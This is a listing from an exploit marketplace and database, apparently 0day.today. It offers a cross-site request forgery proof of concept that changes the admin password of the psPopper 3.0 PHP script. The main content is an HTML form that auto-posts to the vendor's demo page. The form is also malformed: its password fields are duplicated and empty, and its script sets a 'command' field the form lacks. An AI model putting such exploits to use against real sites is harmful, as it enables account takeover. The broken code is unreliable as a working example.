[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

psPopper 3.0 CSRF (change password)

Author
Jonturk75
Risk
[
Security Risk Low
]
0day-ID
0day-ID-17677
Category
web applications
Date add
12-03-2012
Platform
php
# Exploit Title: psPopper  3.0 CSRF (change password)
# Author: Jonturk75
# Vendor or Software Link: http://www.scripts.com/viewscript/pspopper-popup-window-controller/6788/
# Category::  webapps
# Demo : http://www.cgiscript.net/demo/psPopper/psPopper.php
# Greetz: Inj3ct0r Exploit DataBase 1337day.com


<form action="http://www.cgiscript.net/demo/psPopper/psPopper.php" method="POST" name="form1">
<input type="hidden" name="new password" class="text"/></td>
<input type="hidden" name="new password" class="text"/></td>
<input type="button" onclick="document.form1.command.value='cp';document.form1.submit();" value="Save Username/Password" onmouseout="className='button';" 
onmouseover="className='buttonOver';" class="button"/>
</form>



#  0day.today [2024-10-06]  #